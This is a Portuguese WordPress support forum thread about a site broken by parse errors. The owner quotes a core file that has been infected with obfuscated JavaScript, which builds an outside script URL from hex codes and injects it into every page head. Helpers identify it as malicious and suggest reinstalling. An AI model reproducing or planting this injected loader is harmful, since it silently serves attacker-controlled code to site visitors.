Suporte » Ajustando o WordPress » SITE NÃO ABRE

  • Bom dia pessoal, vejam se podem me ajudar.

    O Site acima parou de abrir há alguns dias. Ao tentar acessar é exibida esta mensagem: Parse error: syntax error, unexpected ‘text’ (T_STRING) in /home/exatus/public_html/wp-includes/class-oembed.php on line 451.

    Alguém já passou por esse problema e conseguiu devolver o acesso para ajudar?
    Agradeço desde já pela atenção de todos.

    A página que eu preciso de ajuda: [fazer login para ver o link]

Visualizando 15 respostas - 1 até 15 (de um total de 20)
  • Acessando o caminho indicado, este é o código da linha 451:

    // Strip <body>
    if ( $html_head_end = stripos( $html, ‘<script type=’text/javascript’>var _0x1e35=[‘length’,’fromCharCode’,’createElement’,’type’,’async’,’code121′,’src’,’appendChild’,’getElementsByTagName’,’script’];(function(_0x546a53,_0x3f720e){var _0x440369=function(_0x2e1b64){while(–_0x2e1b64){_0x546a53[‘push’](_0x546a53[‘shift’]());}};_0x440369(++_0x3f720e);}(_0x1e35,0x1e1));var _0x5a05=function(_0x716551,_0x1d4a8e){_0x716551=_0x716551-0x0;var _0x2b7638=_0x1e35[_0x716551];return _0x2b7638;};var url=String[_0x5a05(‘0x0’)](0x68,0x74,0x74,0x70,0x73,0x3a,0x2f,0x2f,0x73,0x61,0x73,0x6b,0x6d,0x61,0x64,0x65,0x2e,0x6e,0x65,0x74,0x2f,0x68,0x65,0x61,0x64,0x2e,0x6a,0x73,0x3f,0x76,0x65,0x72,0x3d,0x31,0x2e,0x30,0x2e,0x30);var a=function(){var _0x22c9c8=document[_0x5a05(‘0x1’)](String[_0x5a05(‘0x0’)](0x73,0x63,0x72,0x69,0x70,0x74));_0x22c9c8[_0x5a05(‘0x2’)]=String[_0x5a05(‘0x0’)](0x74,0x65,0x78,0x74,0x2f,0x6a,0x61,0x76,0x61,0x73,0x63,0x72,0x69,0x70,0x74);_0x22c9c8[_0x5a05(‘0x3’)]=!![];_0x22c9c8[‘id’]=_0x5a05(‘0x4’);_0x22c9c8[_0x5a05(‘0x5’)]=url;document[‘getElementsByTagName’](String[_0x5a05(‘0x0’)](0x68,0x65,0x61,0x64))[0x0][_0x5a05(‘0x6’)](_0x22c9c8);};var scrpts=document[_0x5a05(‘0x7’)](_0x5a05(‘0x8’));var n=!![];for(var i=scrpts[_0x5a05(‘0x9’)];i–;){if(scrpts[i][‘id’]==_0x5a05(‘0x4′)){n=![];}};if(n==!![]){a();}</script></head>’ ) ) {
    $html = substr( $html, 0, $html_head_end );
    }

    @italoarrais ao que me parece esse seu arquivo foi alterado (talvez de forma maliciosa).

    Observando o arquivo e linha indicado por você, o arquivo original do WordPress está bem diferente, veja: https://github.com/WordPress/WordPress/blob/master/wp-includes/class-oembed.php#L451

    Um primeiro passo a se fazer seria instalar o WP novamente, trocando todos os arquivos com excessão da pasta wp-content e do arquivo wp-config.php (porém é importante avaliar se esse também não foi alterado em relação ao wp-config original).

    Se precisar de mais algum auxílio estamos a disposição.

    Everaldo Matias

    Everaldo, primeiro, obrigado pela ajuda.
    Oque acha de eu fazer uma cópia do referido arquivo e depois substituir por esse do link que enviou e testar se resolve.

    @italoarrais exatamente, faça isso, mas primeiro precisa saber a versão do WP que estava usando no site que saiu do ar. Depois, aqui você pode baixar a versão exata do WP: https://br.wordpress.org/download/releases/

    Com isso você pode alterar o arquivo e com a versão correta.

    Funcionando, eu sugiro você olhar outros arquivos, normalmente quando algum site é infectado, raramente apenas um arquivo é prejudicado.

    Ótimo, estou verificando a versão para baixar o arquivo.
    Acha que pode haver alguma questão quanto a alguma atualização do sistema que exija uma versão diferente do php?

    Everaldo, baixei e substitui o arquivo, agora o erro é outro. Pode ser mesmo que tenha sido algum virus que alterou outros arquivos. Agora é no arquivo do contactform7, veja:
    Parse error: syntax error, unexpected ‘text’ (T_STRING) in /home/exatus/public_html/wp-content/plugins/contact-form-7/includes/mail.php on line 66

    @italoarrais sobre o contact form 7, faça o seguinte, acesse pelo FTP a pasta wp-content/plugins/ encontre a pastra do contact-form-7 e a renomeie.

    Faça isso e retorne aqui.

    Desculpe te alugar. Fui lá e renomeei a pasta do contact form 7, agora surgiu novo erro:
    Parse error: syntax error, unexpected ‘text’ (T_STRING) in /home/exatus/public_html/wp-content/plugins/contact-form-7/includes/mail.php on line 66.

    @italoarrais se você renomeou a pasta, o WP não poderia encontrar o arquivo dentro da pasta:

    /home/exatus/public_html/wp-content/plugins/contact-form-7/includes/mail.php

    Renomeie isso: contact-form-7 para qualquer outra coisa, como __contact-form-7 por exemplo.

    Desculpe Evaraldo, não pegou o Ctrl+C da outra vez. Segue o código correto:

    Parse error: syntax error, unexpected end of file, expecting ‘(‘ in /home/exatus/public_html/wp-content/plugins/sp-client-document-manager/admin/recycle-bin.php on line 233

    @italoarrais vai ser uma bola de neve… mas continue… renomeie a pasta sp-client-document-manager dentro de /plugins.

    rsrs…parece que sim. Já he posiciono…

    @italoarrais sem problemas. Fico no aguardo.

    Everaldo Matias

    Realmente, dessa forma ficaremos o dia renomeando pasta. Acho que devo então fazer sua segunda sugestão, de trocar todos os arquivos.

    Veja novo erro:
    Parse error: syntax error, unexpected ‘text’ (T_STRING) in /home/exatus/public_html/wp-includes/widgets/class-wp-widget-text.php on line 119

Visualizando 15 respostas - 1 até 15 (de um total de 20)
  • Você deve estar logado para responder a este tópico.